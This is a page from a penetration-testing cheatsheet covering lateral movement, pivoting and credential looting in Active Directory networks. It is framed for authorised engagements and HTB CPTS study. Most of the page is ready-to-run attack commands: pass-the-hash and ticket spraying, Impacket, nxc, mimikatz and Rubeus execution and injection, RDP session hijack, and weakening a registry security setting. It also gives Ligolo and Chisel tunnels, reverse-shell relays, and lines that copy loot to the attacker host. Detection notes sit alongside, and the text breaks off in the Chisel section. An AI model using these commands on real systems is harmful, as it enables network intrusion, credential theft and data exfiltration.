daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

lateral-movement-pivoting-and-loot.md (86708B)


      1 ---
      2 title: "Stage 10 — Lateral Movement, Pivoting, and Loot"
      3 description: "CPTS attack-flow reference for stage 10 — lateral movement, pivoting, and loot in an authorised engagement."
      4 category: pentest-workflow
      5 subcategory: "CPTS Attack Flow"
      6 order: 13
      7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-10", "pentest-workflow"]
      8 tools: ["Evil-WinRM", "Impacket", "Ligolo-ng", "Chisel", "tcpdump", "TShark", "pktmon"]
      9 difficulty: advanced
     10 updated: "2026-08-29"
     11 source: "vault:Pentest Attack Flow/13 - Stage 10 - Lateral Movement Pivoting and Loot.md"
     12 ---
     13 > [!dashboard] Attack-flow navigation
     14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
     15 >
     16 > **Section:** 13 of 17 · **Focus:** Stage 10 — Lateral Movement, Pivoting, and Loot
     17 >
     18 > **Previous:** [Stage 09 — Privilege Escalation](/sheets/pentest-workflow/privilege-escalation) · **Next:** [Domain Trusts and Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest)
     19 
     20 ---
     21 # 🔀 STAGE 10 — Lateral Movement, Pivoting & Loot
     22 
     23 I've got creds (or a hash, or a ticket). Now I spread, tunnel into the networks I couldn't see, and rip every credential out of the domain. Full command decks live in Impacket-Cheatsheet · Impacket · Ligolo-ng Cheat sheet · Mimikatz-Cheatsheet · Netexec (nxc) Cheat Sheet · Tunneling · Pivoting and Tunnelling.
     24 
     25 Feeding in: [Stage 08 — Password Attacks & Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) (where most of the hashes/creds I spray came from) · [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) (tickets I pass here) · [Stage 06 — ACL/Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse) (rights that enable DCSync). Feeding out: [Domain Trusts & Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest) (where DA on this domain becomes the next forest).
     26 
     27 > [!note] Auth shorthand used below
     28 > `-u "$U" -p "$P"` = password. `$H` = the NT hash (PtH). `$K` = an AES256 key (overpass-the-hash / pass-the-key). For Kerberos/PtT I `export KRB5CCNAME=./ticket.ccache` then add `-k -no-pass`. Impacket wants the `"$DOMAIN/$U:$P@$IP"` target string; nxc / evil-winrm take flags. Always `-dc-ip $IP` (or `$DC`) over the VPN. Environment discipline: `export IP= U= P= H= DOMAIN= DC= LHOST=` at the start of the session and never paste real values into the note.
     29 
     30 ---
     31 
     32 ## 🔑 Credential Use Matrix — what each tool will actually accept
     33 
     34 The #1 lateral-movement failure mode is feeding a tool a credential type it doesn't speak. This table is the quick reference; details per tool follow below.
     35 
     36 | Tool | Protocol / Port | Password | NTLM hash (PtH) | AES key (PtK) | TGT/ST ticket (PtT) | Notes |
     37 | :-- | :-- | :-: | :-: | :-: | :-: | :-- |
     38 | [psexec.py](https://github.com/fortra/impacket) | SMB 445 | ✅ | ✅ `-hashes :$H` | ✅ `-hashes :$H -aesKey $K` | ✅ `-k -no-pass` | Needs ADMIN$ write + service create |
     39 | [smbexec.py](https://github.com/fortra/impacket) | SMB 445 | ✅ | ✅ | ✅ | ✅ | No binary drop, service per command |
     40 | [wmiexec.py](https://github.com/fortra/impacket) | DCERPC 135 → WMI | ✅ | ✅ | ✅ | ✅ | Quietest of the exec family |
     41 | [atexec.py](https://github.com/fortra/impacket) | SMB 445 + Task Scheduler | ✅ | ✅ | ✅ | ✅ | Scheduled task, output via share read |
     42 | [dcomexec.py](https://github.com/fortra/impacket) | DCOM 135 | ✅ | ✅ | ✅ | ✅ | MMC20 / ShellWindows / ShellBrowserWindow |
     43 | [secretsdump.py](https://github.com/fortra/impacket) | SMB/DRSUAPI 445/135 | ✅ | ✅ | ✅ | ✅ | Remote SAM/LSA/DCSync |
     44 | [nxc](https://github.com/Pennyw0rth/NetExec) `smb` | SMB 445 | ✅ | ✅ `-H $H` | ✅ `--aesKey $K` | ✅ `-k` | `-x`/`-X` exec, `--sam/--lsa/--ntds` loot |
     45 | [nxc](https://github.com/Pennyw0rth/NetExec) `winrm` | WinRM 5985/5986 | ✅ | ✅ | ✅ | ✅ | Auth-check before evil-winrm |
     46 | [nxc](https://github.com/Pennyw0rth/NetExec) `rdp` | RDP 3389 | ✅ | ✅ (Restricted Admin) | ✅ | ✅ | Spray-safe auth checks |
     47 | [evil-winrm](https://github.com/Hackplayers/evil-winrm) | WinRM 5985/5986 | ✅ | ✅ `-H $H` | ❌ (use `-k` + ticket) | ✅ `-k` + `KRB5CCNAME` | `-r $DOMAIN` for Kerberos realm |
     48 | [xfreerdp](https://github.com/FreeRDP/FreeRDP) | RDP 3389 | ✅ | ✅ `/pth:$H` + Restricted Admin | ❌ | ✅ `/d:` + Kerberos TGT via `/cert-ignore` (use `xfreerdp /kdc:` / ccache) | PtH needs `DisableRestrictedAdmin=0` |
     49 | [Rubeus](https://github.com/GhostPack/Rubeus) | Kerberos 88 | ✅ `asktgt` | ✅ `asktgt /ntlm:` | ✅ `asktgt /aes256:` | ✅ `ptt /ticket:` | On-host ticket ops — see [08 - Stage 05 - Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) |
     50 | [mimikatz](https://github.com/gentilkiwi/mimikatz) | On-host | ✅ | ✅ `sekurlsa::pth` | ✅ `sekurlsa::pth /aes256:` | ✅ `kerberos::ptt` | Also `sekurlsa::ekeys` to *get* AES keys |
     51 | [Enter-PSSession / Invoke-Command](https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_remote) | WinRM 5985/5986 | ✅ `-Credential` | ❌ (NTLM builtin) | ❌ | ✅ (implicit Kerberos) | CredSSP delegation only if explicitly enabled |
     52 | Sysinternals [PsExec](https://learn.microsoft.com/sysinternals/) | SMB 445 | ✅ `-u -p` | ❌ (no `-pth`) | ❌ | ❌ | Known binary — AV-signatured everywhere |
     53 | `ssh.exe` (built-in OpenSSH) | SSH 22 | ✅ | ❌ | ❌ | ❌ | Windows 10 1809+/Server 2019+ ships it |
     54 
     55 > [!tip] Rule of thumb
     56 > **Impacket + nxc accept everything.** evil-winrm does password + NT hash natively; for AES/TGT go through `-k` + `KRB5CCNAME`. RDP only accepts a hash when Restricted Admin mode is enabled. Native Windows tooling (PSRemoting, mstsc, PsExec) mostly *won't* take a raw hash — that's what `sekurlsa::pth /run:` or Rubeus `ptt` are for: spawn a process with the credential injected, then use the native tool from inside it.
     57 
     58 ---
     59 
     60 ### 🎯 Step 1 — Find where I'm already admin
     61 
     62 **What to look for:** `(Pwn3d!)` from [nxc](https://github.com/Pennyw0rth/NetExec) = local admin on that box. That's my lateral-movement map. SMB 445 = psexec/wmiexec, WinRM 5985 = evil-winrm, RDP 3389, DCOM/WMI on 135, SSH 22 on anything Linux-ish.
     63 
     64 **Enumerate**
     65 ```bash
     66 # Spray my creds/hash across the subnet — where does admin land?
     67 nxc smb $IP/24 -u "$U" -p "$P"
     68 nxc smb $IP/24 -u "$U" -H "$H"                 # PtH spray
     69 nxc smb $IP/24 -u "$U" -H "$H" --local-auth    # local-admin reuse hunt
     70 nxc smb $IP/24 -u "$U" -p "$P" -k              # Kerberos (uses KRB5CCNAME / DNS names)
     71 # Look for (Pwn3d!). WinRM / RDP / SSH reachable?
     72 nxc winrm $IP -u "$U" -p "$P"
     73 nxc rdp $IP/24 -u "$U" -p "$P"
     74 nxc ssh $IP/24 -u "$U" -p "$P"
     75 # Valid-but-not-admin creds still earn: enumerate shares and sessions to plan the path
     76 nxc smb $IP -u "$U" -p "$P" --shares --sessions
     77 ```
     78 
     79 > [!tip] Snowball
     80 > Every `(Pwn3d!)` host → dump its LSASS/SAM → new creds → re-spray. Repeat until a DA session or replication rights fall out. Map ACL paths with BloodHound-Cheatsheet. MITRE: [T1021 Remote Services](https://attack.mitre.org/techniques/T1021/) — with sub-techniques for each protocol below (T1021.001 RDP, .002 SMB/Admin Shares, .004 SSH, .006 WinRM). Account discovery: [T1087](https://attack.mitre.org/techniques/T1087/), remote system discovery [T1018](https://attack.mitre.org/techniques/T1018/).
     81 
     82 > [!warning] OPSEC on the spray
     83 > Auth-check spraying fires **4625/4624** on *every* host in the range and can trip lockout thresholds for password auth (hashes don't lock out, but bad-count still increments on failed ones). Check the lockout policy first (`nxc smb $DC -u "$U" -p "$P" --pass-pol`), keep the spray to one or two password guesses, and log every host I authenticate to for the cleanup section at the bottom.
     84 
     85 ---
     86 
     87 ### 🖥️ Step 2 — Remote execution (own the box)
     88 
     89 #### Evil-WinRM (5985/5986)
     90 
     91 [evil-winrm](https://github.com/Hackplayers/evil-winrm) — the daily-driver interactive shell over WinRM. ([T1021.006](https://attack.mitre.org/techniques/T1021/006/))
     92 
     93 **Exploit**
     94 ```bash
     95 evil-winrm -i $IP -u "$U" -p "$P"
     96 evil-winrm -i $IP -u "$U" -H "$H"                 # Pass-the-Hash
     97 evil-winrm -i $DC -u "$U" -r "$DOMAIN" -k         # Kerberos (ticket in KRB5CCNAME)
     98 evil-winrm -i $IP -u "$U" -p "$P" -s /opt/tools/  # -s = scripts dir, then `menu`
     99 evil-winrm -i $IP -u "$U" -p "$P" -e /opt/exes/   # -e = exe dir: Invoke-Binary without upload
    100 # in-session: upload /local/mimikatz.exe C:\Temp\m.exe   |   download C:\loot\flag.txt ./
    101 ```
    102 
    103 > [!warning] Watch out
    104 > WinRM needs **Remote Management Users** or admin — a foothold user often isn't in it. WinRM lands as the **user** context (not SYSTEM); privesc still needed for LSASS. Leaves Event 4624 Type 3 + `wsmprovhost.exe` hosting the runspace. Artifacts: `$env:TEMP` transient scripts, and the `-s` scripts actually upload to `C:\Users\<u>\AppData\Local\Temp` per execution — clean up.
    105 
    106 #### Impacket exec family — psexec / wmiexec / smbexec / atexec / dcomexec
    107 
    108 All from [Impacket](https://github.com/fortra/impacket). ([T1569.002](https://attack.mitre.org/techniques/T1569/002/) for psexec-style service exec, [T1047](https://attack.mitre.org/techniques/T1047/) WMI, [T1053.005](https://attack.mitre.org/techniques/T1053/005/) scheduled tasks, [T1021.003](https://attack.mitre.org/techniques/T1021/003/) DCOM.)
    109 
    110 **Exploit**
    111 ```bash
    112 # wmiexec — my default: no binary dropped, no service (stealthiest)
    113 wmiexec.py "$DOMAIN/$U:$P@$IP"
    114 wmiexec.py "$DOMAIN/$U@$IP" -hashes ":$H"          # PtH
    115 wmiexec.py "$DOMAIN/$U:$P@$IP" "whoami /all"       # one-shot
    116 
    117 # psexec — SYSTEM shell, but drops a binary + service (loud)
    118 psexec.py "$DOMAIN/$U:$P@$IP"
    119 psexec.py ./Administrator:'Password1'@$IP          # LOCAL admin, no domain (note the ./)
    120 
    121 # smbexec — fileless service-per-command (middle ground)
    122 smbexec.py "$DOMAIN/$U@$IP" -hashes ":$H"
    123 
    124 # atexec — scheduled task (Task Scheduler RPC)
    125 atexec.py "$DOMAIN/$U:$P@$IP" "whoami"
    126 
    127 # dcomexec — via DCOM objects (MMC20 default; -object ShellWindows|ShellBrowserWindow)
    128 dcomexec.py "$DOMAIN/$U@$IP" -hashes ":$H"
    129 dcomexec.py "$DOMAIN/$U@$IP" -hashes ":$H" -object ShellWindows
    130 
    131 # Kerberos / PtT variant (works for all of the above)
    132 export KRB5CCNAME=./administrator.ccache
    133 wmiexec.py -k -no-pass "$DOMAIN/Administrator@$DC"
    134 ```
    135 
    136 > [!warning] Watch out
    137 > **psexec.py = loudest** (Event 7045 new-service, binary in ADMIN$). **wmiexec = quietest** (no 7045, only `wmiprvse.exe → cmd.exe` on 4688). `-k` needs the **FQDN** (`$DC`), never a bare IP, and a synced clock — `KRB_AP_ERR_SKEW` means `ntpdate $DC` / `rdate -n $DC`. Local admin auth uses the `./user` prefix. **atexec** writes the command output to a temp file in ADMIN$ and reads it back over SMB — the task name is random but 4698/4702 (task created/modified) fire if Task Scheduler auditing is on. **dcomexec/ShellWindows** needs the target's shell to resolve the object; MMC20 is the most reliable object.
    138 
    139 > [!info] Requirements per impacket exec method
    140 > | Method | Needs | Writes | Detected by |
    141 > | :-- | :-- | :-- | :-- |
    142 > | psexec.py | Local admin, ADMIN$ write, Service Control Manager RPC | `.exe` in ADMIN$ + service | **7045** (service install), 4697, 4624 Type 3, 4672 |
    143 > | smbexec.py | Local admin, ADMIN$ write | None persistent; temp `.bat`/output files in ADMIN$ | 7045/4697 (per command!), 4624 Type 3 |
    144 > | wmiexec.py | Local admin, DCERPC 135 + dynamic ports | Output file in ADMIN$ (deleted after) | 4688 `wmiprvse.exe → cmd.exe`, 4624 Type 3 |
    145 > | atexec.py | Local admin, Task Scheduler RPC | Temp output in ADMIN$; task created+deleted | 4698/4702 (if audited), 4688 `svchost.exe → taskeng`, 4624 Type 3 |
    146 > | dcomexec.py | Local admin, 135 + dynamic | None | 4688 `explorer.exe`/`mmc.exe` → child proc, 4624 Type 3 |
    147 > | **all** | — | — | **4648** (explicit creds) if password used, **4672** (special privileges) on admin logon |
    148 
    149 #### nxc exec (mass / scripted)
    150 
    151 **Exploit**
    152 ```bash
    153 nxc smb $IP -u "$U" -p "$P" -x "whoami"                       # cmd
    154 nxc smb $IP -u "$U" -p "$P" -X "Get-Process"                  # PowerShell
    155 nxc smb $IP -u "$U" -H "$H" -x "whoami" --exec-method smbexec # wmiexec|atexec|mmcexec
    156 nxc smb $IP/24 -u "$U" -H "$H" -x "hostname"                  # spray a command subnet-wide
    157 nxc winrm $IP -u "$U" -H "$H" -X "whoami"                     # exec over WinRM instead of SMB
    158 ```
    159 
    160 > [!tip] Choosing `--exec-method`
    161 > `wmiexec` (default) is the quiet option; `atexec` survives WMI filters/EDR blocking `wmiprvse` children; `smbexec` works when WMI is broken; `mmcexec` rides DCOM via MMC20 — a good answer when services/scheduler are audited but DCOM isn't. On **domain controllers** psexec-style exec fails more often (no writable ADMIN$ is not the issue — service creation under heavy SACL auditing is); prefer wmiexec/atexec there.
    162 
    163 #### WinRM / PowerShell Remoting — native (no binary dropped)
    164 
    165 **Exploit**
    166 ```powershell
    167 # From a Windows attack/dev box with the credential as a PSCredential:
    168 $pass = ConvertTo-SecureString "$P" -AsPlainText -Force
    169 $cred = New-Object System.Management.Automation.PSCredential("$DOMAIN\$U", $pass)
    170 Enter-PSSession -ComputerName $IP -Credential $cred
    171 Invoke-Command -ComputerName $IP -Credential $cred -ScriptBlock { whoami; hostname }
    172 Invoke-Command -ComputerName srv01,srv02,srv03 -Credential $cred -ScriptBlock { hostname }   # fan-out
    173 # Copy a file over the remoting session (PS5+):
    174 $s = New-PSSession -ComputerName $IP -Credential $cred
    175 Copy-Item .\SharpHound.exe -Destination C:\Temp\ -ToSession $s
    176 ```
    177 
    178 > [!tools] Stage this — WMI-native exec
    179 > [SharpWMI](https://github.com/GhostPack/SharpWMI) — WMI lateral movement without touching SMB/ADMIN$: process spawn, file up/download, VBS exec, event-log queries.
    180 >
    181 > [SharpWMI.exe](/downloads/pentest-workflow/SharpWMI.exe) ([SHA-256](/downloads/pentest-workflow/SharpWMI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpWMI.exe.sha256.asc))
    182 
    183 ```text
    184 # On-host (GhostPack SharpWMI) — WMI process exec as the current/impersonated user:
    185 SharpWMI.exe action=exec computername=$IP command="powershell -enc <b64>"
    186 SharpWMI.exe action=exec computername=$IP command="cmd /c whoami > C:\Temp\o.txt" result=true
    187 SharpWMI.exe action=upload computername=$IP source="C:\Tools\beacon.exe" dest="C:\Temp\b.exe"
    188 SharpWMI.exe action=ls computername=$IP path="C:\Temp"
    189 ```
    190 
    191 > [!warning] Watch out
    192 > PSRemoting leaves 4624 Type 3 + `wsmprovhost.exe` (4688), plus PowerShell 4103/4104 (module/script-block logging) with my *full command text* if those logs are on — assume they are in any monitored lab. **Double-hop problem:** from a PSRemoting session my credential can't re-authenticate to a third box unless CredSSP is enabled (dangerous: it sends cleartext creds) — use the hash/ticket directly instead. SharpWMI process exec gives **no stdout by default** — redirect to a file and `action=download` it back.
    193 
    194 #### DCOM — MMC20 / ShellWindows / ShellBrowserWindow (T1021.003)
    195 
    196 DCOM instantiates a COM object over RPC and tells it to run something. No service, no share write — the tradeoff is reliability differences per object.
    197 
    198 ```bash
    199 # impacket (MMC20.Application default):
    200 dcomexec.py "$DOMAIN/$U:$P@$IP" "whoami"
    201 dcomexec.py "$DOMAIN/$U@$IP" -hashes ":$H" -object ShellBrowserWindow
    202 # nxc mmcexec = MMC20 wrapper:
    203 nxc smb $IP -u "$U" -H "$H" -x "whoami" --exec-method mmcexec
    204 ```
    205 ```powershell
    206 # Native PowerShell, no tooling at all (MMC20):
    207 $d = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","$IP"))
    208 $d.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\Temp\o.txt","7")
    209 # ShellWindows (needs explorer.exe running on target — i.e. an interactive session):
    210 $w = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","$IP"))
    211 $w.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\Temp\o.txt","C:\","",0)
    212 ```
    213 
    214 > [!warning] Watch out
    215 > **MMC20** works headless (server OK). **ShellWindows/ShellBrowserWindow** require an interactive logon session on the target (explorer running) — fine for workstations, fails on servers nobody is logged into. Detection: 4688 child of `mmc.exe`/`explorer.exe`, 4624 Type 3. No stdout over DCOM — redirect to file, read via SMB or `SharpWMI action=download`.
    216 
    217 #### RDP (3389)
    218 
    219 [xfreerdp](https://github.com/FreeRDP/FreeRDP) — GUI access, screenshot-grade proof, and the only exec method that gives an **interactive** logon (useful for tools that need it). ([T1021.001](https://attack.mitre.org/techniques/T1021/001/))
    220 
    221 **Exploit**
    222 ```bash
    223 xfreerdp /u:"$U" /p:"$P" /v:$IP /cert-ignore /dynamic-resolution
    224 xfreerdp /u:"$U" /d:"$DOMAIN" /p:"$P" /v:$IP /cert-ignore /drive:loot,/tmp   # map my dir for exfil
    225 # PtH over RDP — needs Restricted Admin mode enabled first:
    226 nxc smb $IP -u "$U" -H "$H" -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f'
    227 xfreerdp /u:Administrator /pth:$H /v:$IP /cert-ignore
    228 ```
    229 ```powershell
    230 # Session hijack as SYSTEM (no password) — steal a disconnected session:
    231 query user                                              # find Disconnected id
    232 sc create sesshijack binPath= "cmd.exe /c tscon 2 /dest:console"
    233 net start sesshijack
    234 ```
    235 
    236 > [!warning] Watch out
    237 > `/pth` RDP fails unless `DisableRestrictedAdmin=0` — **remember to set it back to `1` during cleanup** (I changed a security-relevant key; log it). Restricted Admin is *network* logon under the hood — the server never receives the password, which is exactly why PtH works. Session hijack needs a full **SYSTEM** token. RDP is Logon Type 10; reconnect fires Event 4778 (hijack tell), and TerminalServices logs 21/23/24/25. Kicking a logged-in user with my RDP session is visible and rude — check `query user` first. See ⚫ Attack.
    238 
    239 #### SSH from Windows — the built-in client
    240 
    241 Windows 10 1809+ / Server 2019+ ship `ssh.exe`, `scp.exe`, `ssh-keygen.exe` (OpenSSH client) in `C:\Windows\System32\OpenSSH\`. When I land on a Windows box and a Linux target is next, no upload needed. ([T1021.004](https://attack.mitre.org/techniques/T1021/004/))
    242 
    243 ```batch
    244 :: Password auth is interactive — for scripted use, key auth or sshpass equivalent:
    245 ssh user@172.16.5.10
    246 ssh -i C:\Users\me\.ssh\id_rsa user@172.16.5.10
    247 :: Pivot straight from the compromised Windows box (dynamic SOCKS):
    248 ssh -N -D 9050 user@172.16.5.10
    249 :: If the OpenSSH server feature is installed on a Windows target, it works inbound too:
    250 ssh administrator@$IP            :: lands in cmd.exe; shell=powershell if defaultShell is set
    251 scp C:\loot.zip user@$LHOST:/tmp/
    252 ```
    253 
    254 > [!tip] CPTS
    255 > Exam boxes love a Windows pivot with `ssh.exe` present and a Linux box behind it. `ssh -D` from Windows + Proxifier (or a second attacker-side relay) beats fighting to upload a tunnelling binary to a host with applocker.
    256 
    257 #### Sysinternals PsExec — the "legitimate admin tool" variant
    258 
    259 [PsExec](https://learn.microsoft.com/sysinternals/) (Sysinternals Suite) is the signed, whitelisted-ish original that psexec.py emulates. Use it when I'm on a Windows beachhead with a password and don't want to drop my own tooling.
    260 
    261 ```batch
    262 PsExec.exe \\$IP -u $DOMAIN\$U -p "$P" cmd.exe
    263 PsExec.exe \\$IP -u $DOMAIN\$U -p "$P" -s powershell.exe   :: -s = SYSTEM
    264 PsExec.exe \\$IP -accepteula -u $DOMAIN\$U -p "$P" -c C:\Tools\proc.exe   :: copy + run
    265 ```
    266 
    267 > [!warning] Watch out
    268 > No PtH support (`-u/-p` only) — pair with `sekurlsa::pth /run:` to spawn a shell in the hash's context first. Drops `PSEXESVC.exe` into ADMIN$ and creates the `PSEXESVC` service: 7045/4697 every time, and the binary is signatured by essentially all AV. First run needs `-accepteula` or it hangs on the EULA dialog.
    269 
    270 #### 🔒 Kerberos ticket use — Rubeus & mimikatz (bridge from Stage 05)
    271 
    272 When my "credential" is a ticket or an AES/RC4 key rather than a password, this is the on-host bridge to every native tool. Full attacks (roasting, delegation, tickets) live in [08 - Stage 05 - Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks).
    273 
    274 > [!tools] Stage this
    275 > [Rubeus](https://github.com/GhostPack/Rubeus) — Kerberos abuse toolkit: request tickets, pass-the-ticket, renew, harvest.
    276 >
    277 > [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc))
    278 
    279 > [!tools] Stage this
    280 > [mimikatz](https://github.com/gentilkiwi/mimikatz) — LSASS extraction, PtH, ticket injection, DCSync.
    281 >
    282 > [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc))
    283 
    284 ```text
    285 :: Rubeus — key material → ticket → injected into the current session:
    286 Rubeus.exe asktgt /user:$U /domain:$DOMAIN /aes256:$K /opsec /ptt          :: AES key → TGT, injected
    287 Rubeus.exe asktgt /user:$U /domain:$DOMAIN /rc4:$H /ptt                     :: NT hash (= RC4 key) → TGT
    288 Rubeus.exe asktgs /ticket:<b64kirbi> /service:cifs/$DC /ptt                 :: TGT → service ticket, injected
    289 Rubeus.exe ptt /ticket:<b64kirbi>                                           :: inject an existing .kirbi
    290 Rubeus.exe renew /ticket:<b64kirbi> /ptt                                    :: renew before expiry
    291 klist                                                                       :: verify what I hold
    292 ```
    293 ```text
    294 :: mimikatz equivalents:
    295 privilege::debug
    296 sekurlsa::pth /user:Administrator /domain:$DOMAIN /ntlm:$H /run:cmd.exe     :: spawn cmd in hash context
    297 sekurlsa::pth /user:Administrator /domain:$DOMAIN /aes256:$K /run:cmd.exe   :: overpass-the-hash
    298 kerberos::ptt C:\Temp\administrator.kirbi                                   :: inject ticket
    299 kerberos::list /export                                                      :: pull all session tickets to .kirbi
    300 ```
    301 
    302 > [!warning] Watch out
    303 > PtT needs the ticket **format to match the tool**: Rubeus/mimikatz take `.kirbi`; Impacket takes `.ccache` — convert with [ticketConverter.py](https://github.com/fortra/impacket). Overpass-the-hash with `/aes256` avoids RC4 (aes-only accounts, and RC4 downgrade is a detection). After `sekurlsa::pth /run:` the spawned process has **bogus local creds + real network creds** — always test with `dir \\$DC\c$` (network), not `whoami`. Detections: 4624 **Type 9** (NewCredentials — the `runas /netonly` signature pth uses), 4672, LSASS access 4663/Sysmon 10 for mimikatz itself. From Linux, prefer staying fileless: `export KRB5CCNAME` + `-k -no-pass` on the impacket tool directly.
    304 
    305 ---
    306 
    307 ### 🕸️ Step 3 — Pivoting (reach the networks I can't see)
    308 
    309 #### Ligolo-ng — first pivot, end to end (the 90% case)
    310 
    311 [ligolo-ng](https://github.com/nicocha30/ligolo-ng) gives a real TUN interface on my box — every tool works natively (full nmap, impacket, no proxychains). Three players: **proxy** (my box, the CLI), **agent** (on the pivot, dials back to me), **target** (behind the pivot). Connecting ≠ traffic flowing — I still need session → interface → route → tunnel. `autoroute` bundles the last three.
    312 
    313 > [!tools] Stage this
    314 > ligolo-ng **agents** (the proxy runs from my attack box; drop the matching agent on the pivot):
    315 >
    316 > [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc))
    317 >
    318 > [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc))
    319 
    320 **Attacker — start proxy**
    321 ```bash
    322 sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601
    323 # production-grade: real certs, -certfile/-keyfile; -selfcert is fine for the lab
    324 ```
    325 **Pivot — run the agent** (transfer the binary first; see file-transfer one-liners in Tunneling)
    326 ```bash
    327 ./agent -connect $LHOST:11601 -ignore-cert -retry       # Linux
    328 # .\agent.exe -connect $LHOST:11601 -ignore-cert -retry # Windows
    329 ```
    330 **In the proxy CLI — build the tunnel**
    331 ```text
    332 session          # arrow-pick the agent → prompt becomes [Agent : root@dmz01] »
    333 ifconfig         # read the pivot's NICs, spot the internal subnet (e.g. 172.16.10.0/24)
    334 autoroute        # Space to tick the internal subnet → create iface `ligolo` → Yes to start
    335 # manual equivalent (when autoroute isn't available or I want control):
    336 ifcreate --name ligolo
    337 route_add --name ligolo --route 172.16.10.0/24
    338 start
    339 tunnel_list
    340 interface_list
    341 ```
    342 **Attacker — verify and scan through it** (normal shell, NOT the Ligolo CLI)
    343 ```bash
    344 ip route show dev ligolo
    345 nmap --unprivileged -sT -Pn -n -p 22,80,445,3389,5985 172.16.10.20
    346 ```
    347 
    348 > [!warning] Watch out
    349 > v0.9.x: use **bare `session`** and pick interactively — `session 1` / `session -i 1` are copied from dead guides and error. Ligolo rebuilds traffic in userspace, so scan **`-sT -Pn -n --unprivileged`** — raw SYN scans and ping give empty results through the tunnel. Interface name is a flag: `autoroute --interface ligolo`, never `autoroute ligolo`. On the Windows agent, run it from a path I control (`C:\Windows\Temp\agent.exe`) and `-ignore-cert` is only acceptable with `-selfcert` on my side; with real certs pin properly. The agent connection is a single outbound TLS session — it survives NAT and egress filtering as long as TCP/11601 out is allowed.
    350 
    351 #### Ligolo — double pivot
    352 
    353 The deep net (`10.20.30.0/24`) sits behind a **second** box only the first pivot can reach. Point Agent 2 at a **listener on Pivot 1** (Pivot 2 has no route to my VPN — that's the whole point), and give it its own interface.
    354 
    355 ```text
    356 # Pivot 1 selected — open a relay back to my proxy:
    357 listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601 --tcp
    358 listener_list
    359 ```
    360 ```bash
    361 # On Pivot 2 — dial Pivot 1's reachable IP + listener port (NOT $LHOST):
    362 /tmp/agent -connect 172.16.10.10:4444 -ignore-cert -retry
    363 ```
    364 ```text
    365 # Back in proxy — the new agent appears:
    366 session                       # select srv02 (agent 2)
    367 autoroute --interface ligolo2 # tick ONLY 10.20.30.0/24, start
    368 ```
    369 
    370 > [!warning] Watch out
    371 > **Each pivot gets its own interface** (`ligolo`, `ligolo2`, …) — never route the shared subnet through two interfaces or packets go down the wrong tunnel. Start Agent 2 with `-retry` in case the relay isn't ready. Triple pivots chain the same way: listener on the deepest reachable agent, next agent dials that listener.
    372 
    373 #### Ligolo — reverse shells & the pivot's own localhost
    374 
    375 ```text
    376 # Catch a reverse shell from inside: internal host → pivot:5555 → my nc on 4444
    377 listener_add --addr 0.0.0.0:5555 --to 127.0.0.1:4444 --tcp
    378 # Reach a service bound to 127.0.0.1 ON THE PIVOT (magic 240.0.0.0/4 range):
    379 route_add --name ligolo --route 240.0.0.1/32
    380 ```
    381 ```bash
    382 nc -lvnp 4444                        # my handler; payload calls back to <pivot-ip>:5555
    383 curl http://240.0.0.1:8080/          # 240.0.0.1 == pivot's own localhost
    384 ```
    385 
    386 > [!tip] Listener mental model
    387 > `listener_add --addr <pivot-bind> --to <my-side>` makes the **pivot** listen and pipes the connection back through the proxy to **my** loopback. This is THE answer to "internal target has no route to me": the target calls the pivot (which it *can* reach), and the callback lands on my handler. `listener_del 0` removes it at cleanup.
    388 
    389 #### Chisel — reverse SOCKS (HTTP-only egress)
    390 
    391 [chisel](https://github.com/jpillora/chisel) tunnels TCP/UDP over HTTP(S) — survives proxies that only allow web traffic, and one binary does server+client.
    392 
    393 > [!tools] Stage this
    394 > chisel binaries:
    395 >
    396 > [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc))
    397 >
    398 > [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc))
    399 
    400 ```bash
    401 # Attacker:
    402 ./chisel server -p 8080 --reverse
